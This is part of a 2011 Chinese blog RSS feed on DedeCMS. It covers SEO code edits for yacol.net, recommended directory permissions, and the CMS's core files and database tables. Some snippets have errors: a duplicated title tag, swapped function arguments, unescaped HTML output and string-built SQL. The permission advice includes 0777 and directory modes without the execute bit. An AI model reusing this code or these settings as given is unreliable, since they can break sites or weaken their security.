<p>对于雅酷网，我采用了比较常用的的树状结构，因为我个人一直比较偏向于树状结构，感觉这种结构比较清晰明了，用户容易理解。至于扁平结构我只用过一次，就是在<span style="color:#666666;">陈海阳律师团队http://www.chenhaiyang.org</span>里，因为那个站数据量太大，而dedecms在数据承载能力上还不够强悍，所以把那个站采用了伪静态。</p>
<blockquote><span style="color:#666666;">列表页诸如 </span><span style="color:#666666;"><span style="color:#666666;">http://www.chenhaiyang.org/list31/</span><br />
</span><span style="color:#666666;">文章页诸如 </span><span style="color:#666666;"><span style="color:#666666;">http://www.chenhaiyang.org/view18/</span></span><o:p></o:p><span style="color:#666666;"> </span></blockquote>
<p><strong>二、网站路径的优化<br />
</strong><br />
Dedecms的文档HTML默认保存路径是放在跟目录的“a/”下面，我们在后台的“系统设置”→“系统基本参数”中可以将文档HTML默认保存路径改为了根目录下。直接一个“/”就可以了。默认的内容页面的路径应该是这样的：http://网站域名/a/webbase/dreamweaver/2010/0407/57.html，这样的URL层级太深了对SEO不利，我们需要修改下，我一般是修改成：http://网站域名/栏目名称/文章ID/，比如：http://www.yacol.net/baike/gongyuan/17279/。在添加或修改栏目的的面板中将文章命名规则修改为：{typedir}/{aid}/index.html就可以，去掉了{Y}/{M}{D}/（这个是显示：年/月日）。如果你的栏目层级本来就很深的话，比如我这里百科栏目下还细分了公园等子栏目，建议你可以把文章页面都放在一个目录下，则定类似为：baike/{aid}/index.html。这个规则都是可以自定义的，你觉得怎么对seo有利就怎么来吧。对于最先批量或者单个加栏目的时候，可能对于这里老是要一个个的去修改文章路径很不爽，其实有简单的方法可以处理：<br />
打开/dede/templets/catalog_add.htm ，找到“文章命名规则”，把后面的 </p>
<blockquote>&lt;input name="namerule" type="text" id="namerule" value="&lt;?php echo $cfg_df_namerule;?&gt;" class="pubinputs" style="width:250px" /&gt; </blockquote>
<p>改为</p>
<blockquote>&lt;input name="namerule" type="text" id="namerule" value="{typedir}/{aid}/index.html" class="pubinputs" style="width:250px" /&gt;<o:p></o:p> </blockquote>
<p>或者打开/include/common.inc.php，找到“文档的默认命名规则”，把后面的</p>
<blockquote>$art_shortname = $cfg_df_ext = '.html';<br />
$cfg_df_namerule = '{typedir}/{Y}/{M}{D}/{aid}'.$cfg_df_ext;<o:p></o:p> </blockquote>
<p>改为</p>
<blockquote>$art_shortname = $cfg_df_ext = '.html';<br />
$cfg_df_namerule = '{typedir}/{aid}/index'.$cfg_df_ext;<o:p></o:p> </blockquote>
<p>如果是需要批量加栏目的话，则打开/dede/templets/catalog_add_quick.htm ，找到“文章命名规则”，把后面的</p>
<blockquote>&lt;input name="namerule" type="text" id="namerule" value="{typedir}/{Y}{M}{D}/{aid}.html" size="40" class="pubinputs" /&gt;<o:p></o:p> </blockquote>
<p>改为</p>
<blockquote>&lt;input name="namerule" type="text" id="namerule" value="{typedir}/{aid}/index.html" size="40" class="pubinputs" /&gt;<o:p></o:p> </blockquote>
<p><strong>三、网页TITLE标签的修改</strong><o:p></o:p></p>
<p>据说现在百度基本上都不看keyword了（当然我们不能不写），但是现在的关键在于网页上的title。所以一定要把title好好做做。主要是涉及到一个如何实现"三级栏目_二级栏目_一级栏目_网站名称"的问题。雅酷网的title基本上是这样做的：<o:p></o:p></p>
<p>首页：</p>
<blockquote>
<p>&lt;title&gt;{dede:global.cfg_webname/}&lt;/title&gt;，在“系统设置”→“系统基本参数”中将首页的标题信息都写在网站名称里面。</p>
</blockquote>
<p>栏目页：</p>
<o:p></o:p> <p>找到include/typelink.class.php第164行左右，找到<o:p></o:p></p>
<blockquote>
<p>$this-&gt;valuePositionName = $tinfos['typename'].$this-&gt;SplitSymbol.$this-&gt;valuePositionName;<br />
<o:p></o:p></p>
</blockquote>
<p>修改为：<o:p></o:p></p>
<blockquote>
<p>$this-&gt;valuePositionName = $this-&gt;valuePositionName.$this-&gt;SplitSymbol.$tinfos['typename'];<o:p></o:p></p>
</blockquote>
<p>接下来将列表页模板上默认的标题标签<o:p></o:p></p>
<blockquote>
<p>&lt;title&gt;{dede:field.title/} - {dede:global.cfg_webname/}&lt;/title&gt;<o:p></o:p></p>
</blockquote>
<p>修改为：<o:p></o:p></p>
<blockquote>
<p>&lt;title&gt;&lt;title&gt;{dede:field.seotitle /} {dede:field.title function='ereg_replace(" - "," - ",@me)'/} - {dede:global.cfg_webname/}&lt;/title&gt;<o:p></o:p></p>
</blockquote>
<p>即可。<o:p></o:p></p>
<p><o:p></o:p></p>
<p>第一个标签{dede:field.seotitle /} 是调用栏目的SEO标题。如果您对栏目中间的连接符不满意，可以修改include/arc.listview.class.php，找到55行<o:p></o:p></p>
<blockquote>
<p>$this-&gt;Fields['title'] = ereg_replace("[&lt;&gt;]"," / ",$this-&gt;TypeLink-&gt;GetPositionLink(false));<o:p></o:p></p>
</blockquote>
<p>把 / 删除 注意留一个空格 " "<o:p></o:p></p>
<p>文章页：<o:p></o:p></p>
<blockquote>
<p>&lt;title&gt;{dede:field.seotitle/} {dede:field name='title'/}-{dede:field name='position' runphp='yes'}<o:p></o:p></p>
<p>$tc="-"; //分隔符<o:p></o:p></p>
<p>$tw=$GLOBALS['cfg_list_symbol']; //调用位置分隔符<o:p></o:p></p>
<p>@me=html2text(@me); //去除html标签<o:p></o:p></p>
<p>$tf=split($tw,@me); //分解成数组<o:p></o:p></p>
<p>for($ta=(count($tf)-2);$ta&gt;=1;$ta--){ //循环赋值给$tk<o:p></o:p></p>
<p>$tk.=trim($tf[$ta]).$tc;<o:p></o:p></p>
<p>}<o:p></o:p></p>
<p>$tk=substr($tk,0,-1);<o:p></o:p></p>
<p>@me=$tk; //赋值给@me<o:p></o:p></p>
<p>{/dede:field}-{dede:global name='cfg_webname'/}&lt;/title&gt;<o:p></o:p></p>
</blockquote>
<p><o:p></o:p></p>
<p>效果：实现"三级栏目_二级栏目_一级栏目_网站名称"。其中简略标题{dede:field.seotitle/}用来做什么呢，没错---长尾关键词。<o:p></o:p></p>
<p><strong>四、完美的内链建设</strong><o:p></o:p></p>
<p>网站自动给关键字加上链接：这个功能很爽，可以预先设定一些你网站的关键词和对应的链接，以后每次加文章的时候都自动给锚文本加上链接，其实这个就是一个替换的功能。之前有在我的博客讲过<a href="http://www.guoxiongjie.com/web/95/"><span style="color:#990000;">如何做好dedecms的内链建设</span></a> （http://www.guoxiongjie.com/web/95/），现在再重复一遍：<o:p></o:p></p>
<p>1、后台&gt;系统&gt;系统基本参数&gt;核心设置&gt;关键字替换（是/否），这里选择“是”。<o:p></o:p></p>
<p>2、后台&gt;系统&gt;系统基本参数&gt;其他选项&gt;文档内容同一关键词替换次数(0为全部替换)： 1<o:p></o:p></p>
<p>3、后台&gt;采集&gt;文档关键词维护, 在这里面设置关键词以及指向网址的链接。<o:p></o:p></p>
<p>但是这里有个问题，这个只是在添加文章时，在 关键字： 一栏里填写的关键字才有链接，<o:p></o:p>而文章里出现的其他"文档关键字"是不会被加上链接的。<o:p></o:p>怎么才能让其他关键字也被加上链接呢？<br />
<br />
打开/include/arc.archives.class.php<o:p></o:p>，找到<o:p></o:p></p>
<blockquote>
<p>foreach($kws as $k)<br />
{<br />
$k = trim($k);<br />
if($k!="")<br />
{<br />
if($i &gt; $maxkey)<br />
{<br />
break;<br />
}<br />
$myrow = $this-&gt;dsql-&gt;GetOne("select * from dede_keywords where keyword='$k' And rpurl&lt;&gt;'' ");<br />
if(is_array($myrow))<br />
{<br />
$karr[] = $k;<br />
$GLOBALS['replaced'][$k] = 0;<br />
$kaarr[] = "&lt;a href='{$myrow['rpurl']}'&gt;&lt;u&gt;$k&lt;/u&gt;&lt;/a&gt;";<br />
}<br />
$i++;<br />
}<br />
}<o:p></o:p></p>
</blockquote>
<p>替换成：<o:p></o:p></p>
<blockquote>
<p>$dsql = new DedeSql(false);<br />
$query="select * from dede_keywords where rpurl&lt;&gt;'' ";<br />
$dsql-&gt;SetQuery($query);<br />
$dsql-&gt;Execute();<br />
while($row = $dsql-&gt;GetArray())<br />
{<br />
$key = trim($row['keyword']);<br />
$rul=trim($row['rpurl']);<br />
if($rul!="")<br />
if(!in_array($key, $kw))<br />
if(!in_array($kw,$key))<br />
if(substr_count($body,$key)&lt;10)<br />
{<br />
$karr[] = $key;<br />
$kaarr[] = "&lt;a href='$rul'&gt;&lt;u&gt;$key&lt;/u&gt;&lt;/a&gt;";<br />
}<br />
}<o:p></o:p></p>
</blockquote>
<p>修改之后，在后台的“核心”→“批量维护 ”→“文档关键词维护 ”，比如雅酷网中，我可以新增关键字：运动；链接网址：http://www.yacol.net/ydjs/jianshen/。要注意的是，在设置关键词的时候，尽量不要用那些宽泛的词，比如运动这个词。我给“运动健身”这个词加了链接，要是“运动”再加一个链接的话，那么就乱了。所以我们尽量的不要使用太宽泛的词，避免重复。实例可以看这个页面<span style="color:#666666;">：</span><span style="color:#990000;"><span style="color:#666666;">http://www.yacol.net/baike/yujia/17205/</span></span><span style="color:#666666;"> 。</span><o:p></o:p></p>
<p>另外在文章页上，还可以加上相关文章来提高文章相关关键词的密度。相关文章的调用代码是：<o:p></o:p></p>
<blockquote>
<p>{dede:likearticle row='10' titlelen='4' eregtype=all|tag|keyword}<br />
&lt;li&gt;&lt;a href="field:arcurl/]"_fcksavedurl=""field:arcurl/]" target="_blank"&gt;·[field:title/]&lt;/a&gt;&lt;/li&gt;<br />
{/dede:likearticle}<o:p></o:p></p>
</blockquote>
<p>还可以在文章正文头部调用该文章的tags，调用标签是 {dede:field.tags/} ，但是dedecms的默认在文章调用该文章的tags是不带链接的，这里介绍一种让<a href="http://www.guoxiongjie.com/web/83/"><span style="color:#990000;">tag自动带链接的方法</span></a>（http://www.guoxiongjie.com/web/83/）（只需要按照下面方法修改，文章模板页上的tags调用标签不用变）：<o:p></o:p></p>
<p>打开include/common.func.php ，大约755行，找到<o:p></o:p></p>
<blockquote>
<p>//获得某文档的所有tag<br />
function GetTags($aid)<br />
{<br />
global $dsql;<br />
$tags = '';<br />
$query = "Select tag From <span style="color:#990000;"><span style="color:#000000;">`dede_taglist</span></span>` where aid='$aid' ";<br />
$dsql-&gt;Execute('tag',$query);<br />
while($row = $dsql-&gt;GetArray('tag'))<br />
{<br />
$tags .= ($tags=='' ? $row['tag'] : ','.$row['tag']);<br />
}<br />
return $tags;<br />
}<o:p></o:p></p>
</blockquote>
<p>修改为<o:p></o:p></p>
<blockquote>
<p>//获得某文档的所有tag<br />
function GetTags($aid)<br />
{<br />
global $dsql;<br />
$tags = '';<br />
$query = "Select tag From `dede_taglist` where aid='$aid' ";<br />
$dsql-&gt;Execute('tag',$query);<br />
while($row = $dsql-&gt;GetArray('tag'))<br />
{<br />
$tags.= ($tags=='' ? "&lt;a href=/tags.php?/{$row['tag']} target=_blank&gt;{$row['tag']}&lt;/a&gt;" : ','."&lt;a href=/tags.php?/{$row['tag']} target=_blank&gt;{$row['tag']}&lt;/a&gt;");<br />
}<br />
return $tags;<br />
}<o:p></o:p></p>
</blockquote>
<p><strong>五、做好sitemap、rss、tags</strong><br />
先看看雅酷网的sitemap、rss、tags是如何做的：</p>
<blockquote><span style="color:#666666;">Sitemap：http://www.yacol.net/sitemap/</span><br />
<span style="color:#666666;">rss：http://www.yacol.net/data/rssmap.html </span><br />
<span style="color:#666666;">tags：</span><span style="color:#666666;"><span style="color:#666666;">http://www.yacol.net/tags.php</span></span><o:p></o:p><span style="color:#666666;"> </span></blockquote>
<p>一定要重视这三方面的建设，因为他们是去全站各个页面的链接纲领。另外介绍一下修改他们的路径的方法，其实之前也有在我的博客里讲到过的《如何修改dedecms的网站地图sitemap的路径？》（http://www.guoxiongjie.com/web/93/）、《如何修改dedecms的tags.php的路径？》（http://www.guoxiongjie.com/web/59/）。<o:p></o:p></p>
<p>1、修改dedecms的sitemap的默认路径的方法：<o:p></o:p><br />
打开/dede/makehtml_map.php，找到<o:p></o:p></p>
<blockquote>
<p>if($dopost=="site")<o:p></o:p></p>
<p>{<o:p></o:p></p>
<p>$murl = $cfg_cmspath."/data/sitemap.html";<o:p></o:p></p>
<p>$tmpfile = $cfg_basedir.$cfg_templets_dir."/plus/sitemap.htm";<o:p></o:p></p>
<p>}<o:p></o:p></p>
</blockquote>
<p>如果你要修改形如：http://www.guoxiongjie.com/sitemap.html ，则把上面的代码修改为：<o:p></o:p></p>
<blockquote>
<p>if($dopost=="site")<o:p></o:p></p>
<p>{<o:p></o:p></p>
<p>$murl = $cfg_cmspath."/sitemap.html";<o:p></o:p></p>
<p>$tmpfile = $cfg_basedir.$cfg_templets_dir."/plus/sitemap.htm";<o:p></o:p></p>
<p>}<o:p></o:p></p>
</blockquote>
<p>如果你要修改形如：http://www.guoxiongjie.com/sitemap/ ，则在根目录下建一个空文件夹，取名为sitemap（或者其他名字），然后把上面的代码修改为：<o:p></o:p></p>
<blockquote>
<p>if($dopost=="site")<o:p></o:p></p>
<p>{<o:p></o:p></p>
<p>$murl = $cfg_cmspath."/sitemap/index.html";<o:p></o:p></p>
<p>$tmpfile = $cfg_basedir.$cfg_templets_dir."/plus/sitemap.htm";<o:p></o:p></p>
<p>}<o:p></o:p></p>
</blockquote>
<p>以上为<a href="http://www.guoxiongjie.com/web/93/"><span style="color:#990000;">sitemap路径的修改方法</span></a>，另外，我们要做到满意的状态，我们还需要修改sitemap的模板，即/templets/plus/sitemap.htm，以及/include/sitemap.class.php 这一个文件。<o:p></o:p></p>
<p>2、修改dedecms的tags.php的路径的方法：<o:p></o:p></p>
<p>默认的dedecms中，tags.php是在根目录下。但是如果两个程序都放在根目录下就可能出问题，比如据说，discuz和dedecms同在根目录下的话，dedecms里的tags.php和discuz里的index.php就会发生冲突。</p>
<p>（1）、在根目录下建立一个tags文件夹，把之前的tags.php放到这个tags的文件夹下，并重命名为index.php。<o:p></o:p></p>
<p>打开这个index.php，第二行代码如下：<o:p></o:p></p>
<blockquote>
<p>require_once (dirname(__FILE__) . "/include/common.inc.php");<o:p></o:p></p>
</blockquote>
<p>将它修改为：</p>
<blockquote>require_once (dirname(__FILE__) . "/../include/common.inc.php");<o:p> </o:p></blockquote>
<p>（2）、打开/include/taglib/tag.lib.php，找到如下代码：<o:p></o:p></p>
<blockquote>
<p>$row['link'] = $cfg_cmsurl."/tags.php?/".urlencode($row['keyword'])."/";<o:p></o:p></p>
</blockquote>
<p>将它修改为：<o:p></o:p></p>
<blockquote>
<p>$row['link'] = $cfg_cmsurl."/tags/index.php?".urlencode($row['keyword'])."";<o:p></o:p></p>
</blockquote>
<p>现在试着打开 /tags/index.php 。<o:p></o:p></p>
<p>&nbsp;</p>
<p>本文首发郭黑黑织梦博客 <a href="http://www.guoxiongjie.com/"><span style="color:#990000;">http://www.guoxiongjie.com</span></a> ，然后发布到雅酷网<a href="http://www.yacol.net/"><span style="color:#990000;">http://www.yacol.net</span></a> ，然后发布到A5 <a href="http://www.admin5.com/"><span style="color:#990000;">http://www.admin5.com</span></a> 等。转摘请保留网址。谢谢！</p><div id="related_log" style="font-size:12px"><p><b>相关日志：</b></p><p><a href="http://blog.0356sh.com/dedetableinfo.html">DEDE程序核心程序目录及简介+数据表结构简介</a></p><p><a href="http://blog.0356sh.com/life-of-work.html">继续工作，学会生活</a></p><p><a href="http://blog.0356sh.com/Apache-htaccess.html">Apache服务器htaccess文件配置大全 优化你的网站</a></p><p><a href="http://blog.0356sh.com/0356sh_com.html">晋城生活服务网 一个小试验</a></p><p><a href="http://blog.0356sh.com/minify_info.html">Minify优化网站性能 合并多个CSS或者js文件</a></p></div>]]></description>
	<pubDate>Wed, 22 Jun 2011 02:04:20 +0000</pubDate>
	<author>mazerain</author>
	<guid>http://blog.0356sh.com/dedecmsseo.html</guid>

</item>
<item>
	<title>DedeCMS 服务器目录权限安全设置说明文档</title>
	<link>http://blog.0356sh.com/dedecmsquanxian-2.html</link>
	<description><![CDATA[<p>../ 【站点上级目录】<br />
//如果要使用后台的目录相关的功能需要有列出目录的权限 //0444</p>
<p>/ 【站点根目录】<br />
//需要执行和读取权限 如果要在根目录下面创建文件和目录的话需要有写入权限 //0755</p>
<p>/install 【安装程序目录】<br />
//需要有执行和读取权限 //建议安装完成以后删除或者改名 //0555</p>
<p>/dede 【后台程序目录】<br />
//需要有执行权限和读取权限 //建议安装完成以后修改目录名称 //0755</p>
<p>/member 【会员目录】<br />
//需要执行读取和权限 //建议去掉写入权限以及修改权限//0555</p>
<p>/include 【主程序目录】<br />
//需要有写入、执行权限和读取权限 //0755 //建议在第一次安装后，去掉写入权限以及修改权限（需要重写配置文件时再暂时开启写入及修改权限）//0555</p>
<p>/plus 【插件目录】<br />
//需要有读取、写入和执行的权限 //建议在生成完站点地图和RSS文件后去掉写入权限以及修改权限 //0755</p>
<p>/data 【站点缓存数据等文件】<br />
//需要有读取权限和写入修改权限 //建议去掉执行权限//0755<br />
/sessions<br />
//需要有读取、写入、修改 和 执行权限 //建议权限为:0777</p>
<p>/html 【HTML文档默认目录】<br />
//需要有读取修改和创建权限 //建议去掉执行权限 //0666</p>
<p>/templets【模板目录】<br />
//需要有读取 修改写入 权限 //建议去掉执行权限 //0666</p>
<p>/uploads 【附件目录】<br />
//需要写入读取权限 //建议去掉执行权限//0666</p>
<p>/company 【企业黄页程序目录】<br />
//需要读取和执行权限 //建议去掉写入权限//0555</p>
<p>/special 【专题文件目录】<br />
//需要执行、读取、写入和修改权限 //0755</p>
<p>/book 【书库模块程序目录】<br />
//需要执行、读取、写入和修改权限 //0755</p>
<p>/ask 【问答模块程序目录】<br />
//需要执行和读取权限 //建议去掉写入权限//0555</p>
<p>/group 【圈子模块程序目录】<br />
//需要执行和读取权限 //建议去掉写入权限 //0555</p><div id="related_log" style="font-size:12px"><p><b>相关日志：</b></p><p><a href="http://blog.0356sh.com/php_mysql_luanma.html">PHP中插入MYSQL数据乱码的问题和解决方法</a></p><p><a href="http://blog.0356sh.com/Apache-htaccess.html">Apache服务器htaccess文件配置大全 优化你的网站</a></p><p><a href="http://blog.0356sh.com/dedecms_website.html">利用Dedecms做网站教程</a></p><p><a href="http://blog.0356sh.com/androidsdkupdate.html">Android SDK在线更新镜像服务器</a></p></div>]]></description>
	<pubDate>Thu, 16 Jun 2011 06:24:35 +0000</pubDate>
	<author>mazerain</author>
	<guid>http://blog.0356sh.com/dedecmsquanxian-2.html</guid>

</item>
<item>
	<title>DEDE程序核心程序目录及简介+数据表结构简介</title>
	<link>http://blog.0356sh.com/dedetableinfo.html</link>
	<description><![CDATA[<p><strong>1、程序核心程序目录及简介</strong></p>
<p>/include目录 程序核心目录</p>
<p>config_base.php 环境定义文件。用于检测系统环境，定义工作目录，保存数据库链接信息，引入常用函数等，建议不要修改。<br />
config_hand.php 系统配置文件。定义系统常用的配置信息定义，可从后台管理直接生成该文件。<br />
config_passport.php 通行证文件<br />
config_rglobals.php 检测系统外部变量<br />
config_rglobals_magic.php 同上<br />
inc_archives_view.php 用于浏览文档或对文档生成HTML<br />
inc_arclist_view.php 用于浏览频道列表或对内容列表生成HTML<br />
inc_arcmember_view.php 用于浏览会员发布的文档<br />
inc_arcpart_view.php 用于解析和创建全局性质的模板，如频道封面，主页，单个页面等<br />
inc_arcsearch_view.php 用于文档搜索<br />
inc_arcspec_view.php 用于浏览所有专题列表或对专题列表生成HTML<br />
inc_channel_unit.php 用户解析特定频道的附加数据结构信息<br />
inc_channel_unit_functions.php 系统共用函数集合<br />
inc_downclass.php 防采集随机字符串函数<br />
inc_freelist_view.php 用于对特定内容列表生成HTML<br />
inc_functions.php 可供用户使用的函数集合<br />
inc_imgbt.php GetTypeidSelMember<br />
inc_memberlogin.php 用于用户登录及获得会员状态<br />
inc_photograph.php 用于处理系统中的图片，例如水印，缩略图等<br />
inc_photowatermark_config.php 图片处理参数定义<br />
inc_rss_view.php 用于浏览频道RSS或对RSS生成静态文件<br />
inc_separate_functions.php SpGetArcList函数，用于获得文档列表<br />
inc_sitemap.php 用于生成网站地图<br />
inc_type_tree.php 用于选择栏目的目录树<br />
inc_type_tree_member.php 同上，会员使用<br />
inc_typelink.php 用于显示文章的位置和栏目位置等<br />
inc_typeunit_admin.php 用于频道管理时的一些复杂操作，主要用于后台<br />
inc_typeunit_menu.php 同上<br />
inc_userlogin.php 用于管理员登录<br />
inc_vote.php 用于管理投票<br />
jump.php 用于超链接跳转<br />
pub_charset.php 共用字符处理函数，GB/UTF-8/Unicode/BIG5等互换<br />
pub_collection.php 用于采集<br />
pub_collection_functions.php 采集用函数<br />
pub_datalist.php 后台管理用数据列表<br />
pub_datalist_dm.php 同上，不使用模板<br />
pub_db_mysql.php 用于操作数据库<br />
pub_dedehtml2.php 用于采集中的HTML解析<br />
pub_dedehtml.php HTML解析器<br />
pub_dedetag.php 用于dede模板标签解析<br />
pub_httpdown.php 用于下载http中的资源<br />
pub_oxwindow.php 后台程序扩展<br />
pub_splitword_www.php 织梦分词算法<br />
validateimg.php 验证码<br />
vdimgck.php 验证码</p>
<p><strong>/inc 共用函数目录</strong></p>
<p>inc_fun_funAdmin.php 获取拼音码等函数<br />
inc_fun_funString.php html代码处理等函数<br />
inc_fun_SpGetArcList.php 获取文档列表SpGetArcList<br />
对于菜鸟来说，对于菜鸟来说，config_base.php，这个文件，当你的程序出现问题，需要覆盖，当你的程序出现问题，需要覆盖。不要覆盖 config_base.php和config_hand.php文件，里面都是dede一些核心配置文件，对于高手来说，也许修改几个php页面已经达不到目的了，就需要了解dede的数据库结构，下面是部分关键数据表的结构和说明，不完全，还没有整理完全，过几天发布完整版本</p>
<p><strong>主要数据结构表</strong><br />
已经可以指导开发了<br />
<strong>dede_addonarticle　　　附加文章表 </strong><br />
aid int(11) 文章编号<br />
typeid int(11) 分类栏目编号<br />
body mediumtext 文章内容<br />
<strong>dede_addonflash 附加Flash表 </strong><br />
aid int(11) FLASH编号<br />
typeid int(11) 分类栏目编号<br />
filesize varchar(10) 文件大小<br />
playtime varchar(10) 播放时长<br />
flashtype varchar(10) 作品类型<br />
flashrank smallint(6) 作品等级<br />
width smallint(6) 影片宽度<br />
height smallint(6) 影片高度<br />
flashurl varchar(80) FLASH地址<br />
<strong>dede_addonimages 附加图集表 </strong><br />
aid int(11) 图集编号<br />
typeid int(11) 分类栏目编号<br />
pagestyle smallint(6) 表现方式（1单页显示 2分多页显示 3多行多列展示）<br />
maxwidth smallint(6) 大图限制宽度<br />
imgurls text 图片集内容（标签存放）<br />
row smallint(6) 多列式参数（行）<br />
col smallint(6) 多列式参数（列）<br />
isrm smallint(6) 是否下载远程图片<br />
ddmaxwidth smallint(6) 小图片宽度限制<br />
<strong>dede_addonsoft 附加软件表 </strong><br />
aid int(11) 软件编号<br />
typeid int(11) 分类栏目编号<br />
filetype varchar(10) 文件类型<br />
language varchar(10) 界面语言<br />
softtype varchar(10) 软件类型<br />
accredit varchar(10) 授权方式<br />
os varchar(30) 运行环境<br />
softrank int(11) 软件等级<br />
officialUrl varchar(30) 官方网址<br />
officialDemo varchar(50) 程序演示地址<br />
softsize varchar(10) 软件大小<br />
softlinks text 软件下载链接列表<br />
introduce text 软件介绍<br />
<strong>dede_addonspec 附加专题表 </strong><br />
aid int(11) 专题编号<br />
typeid int(11) 分类栏目编号<br />
note text 专题内容（仅存放标签代码）<br />
<strong>dede_admin 管理员信息表 </strong><br />
ID int(10) 自动编号<br />
usertype int(10) 用户类型<br />
userid varchar(30) 用户登录ID<br />
pwd varchar(50) 用户密码<br />
uname varchar(20) 用户笔名<br />
tname varchar(30) 真实姓名<br />
email varchar(30) 电子邮箱<br />
typeid int(11) 负责频道（0表示全部）<br />
logintime datetime 登录时间<br />
loginip varchar(20) 登录IP<br />
<strong>dede_admintype 系统用户组管理表 </strong><br />
rank smallint(6) 组级别编号<br />
typename varchar(30) 组名称<br />
system smallint(6) 是否为系统默认组<br />
purviews text 权限列表<br />
dede_arcatt 文档自定义属性表<br />
att smallint(6) 编号<br />
attname varchar(30) 属性名称<br />
<strong>dede_archives 文章表 </strong><br />
ID int(11) 自动编号<br />
typeid int(11) 所属主栏目编号<br />
typeid2 int(11) 所属副栏目编号<br />
sortrank int(11) 文章排序（置顶方法）<br />
iscommend smallint(6) 是否推荐<br />
ismake smallint(6) 是否生成静态<br />
channel int(11) 文章所属模型<br />
arcrank smallint(6) 阅读权限<br />
click int(11) 点击次数<br />
money smallint(6) 消费点数<br />
title varchar(80) 标题<br />
shorttitle varchar(36) 简略标题<br />
color varchar(10) 标题颜色<br />
writer varchar(30) 作者<br />
source varchar(50) 来源<br />
litpic varchar(100) 缩略图<br />
pubdate int(11) 录入时间<br />
senddate int(11) 发布时间<br />
arcatt smallint(6) 自定属性（att）<br />
adminID int(11) 发布管理员ID<br />
memberID int(11) 发布会员ID<br />
description varchar(250) 摘要<br />
keywords varchar(60) 关键词<br />
templet varchar(60) 文档模板<br />
lastpost int(11) 最近评论时间<br />
postnum int(11) 评论数目<br />
redirecturl varchar(150) 跳转网址<br />
mtype int(11) 用户自定义分类<br />
userip varchar(20) 用户IP<br />
locklikeid smallint(6) 是否锁定相关文章<br />
likeid varchar(240) 相关文章ID<br />
<strong>dede_arcrank 阅读权限表 </strong><br />
ID int(10) 自动编号<br />
rank smallint(10) 权限等级<br />
membername varchar(20) 等级名称<br />
adminrank smallint(10) 管理等级<br />
money int(11) 消费点数<br />
<strong>dede_arctype 栏目管理表 </strong><br />
ID int(10) 栏目编号（自动编号）<br />
reID int(10) 父栏目编号<br />
topID int(10) 　<br />
sortrank smallint(6) 排序编号<br />
typename varchar(30) 栏目名称<br />
typedir varchar(100) 栏目目录<br />
isdefault smallint(6) 栏目列表选项（1链接到默认页 0链接到列表第一页 -1使用动态页）<br />
defaultname varchar(20) 默认页的名称<br />
issend smallint(6) 是否支持投稿<br />
channeltype smallint(6) 频道类型<br />
maxpage int(11) 保留<br />
ispart smallint(6) 栏目属性<br />
corank smallint(6) 浏览权限<br />
tempindex varchar(60) 封面模板<br />
templist varchar(60) 列表模板<br />
temparticle varchar(60) 文章模板<br />
tempone varchar(60) 单独页面模板<br />
namerule varchar(50) 文章命名规则<br />
namerule2 varchar(50) 列表命名规则<br />
modname varchar(30) 模板名称<br />
description varchar(200) 栏目介绍<br />
keywords varchar(100) 关键词<br />
moresite smallint(6) 多站点支持<br />
siterefer smallint(6) 多站点站点根目录属性<br />
sitepath varchar(60) 多站点站点根目录<br />
siteurl varchar(60) 多站点绑定域名<br />
ishidden smallint(6) 是否隐藏栏目<br />
<strong>dede_area 地区表 </strong><br />
eid int(11) 地区编号<br />
name varchar(20) 地区名称<br />
rid int(11) 编号属性</p><div id="related_log" style="font-size:12px"><p><b>相关日志：</b></p><p><a href="http://blog.0356sh.com/life-of-work.html">继续工作，学会生活</a></p><p><a href="http://blog.0356sh.com/php_mysql_luanma.html">PHP中插入MYSQL数据乱码的问题和解决方法</a></p><p><a href="http://blog.0356sh.com/dedecmsseo.html">以雅酷网为实例从技术上说说dedecms的seo优化要注意哪些？</a></p></div>]]></description>
	<pubDate>Thu, 16 Jun 2011 02:35:57 +0000</pubDate>
	<author>mazerain</author>
	<guid>http://blog.0356sh.com/dedetableinfo.html</guid>

</item></channel>
</rss>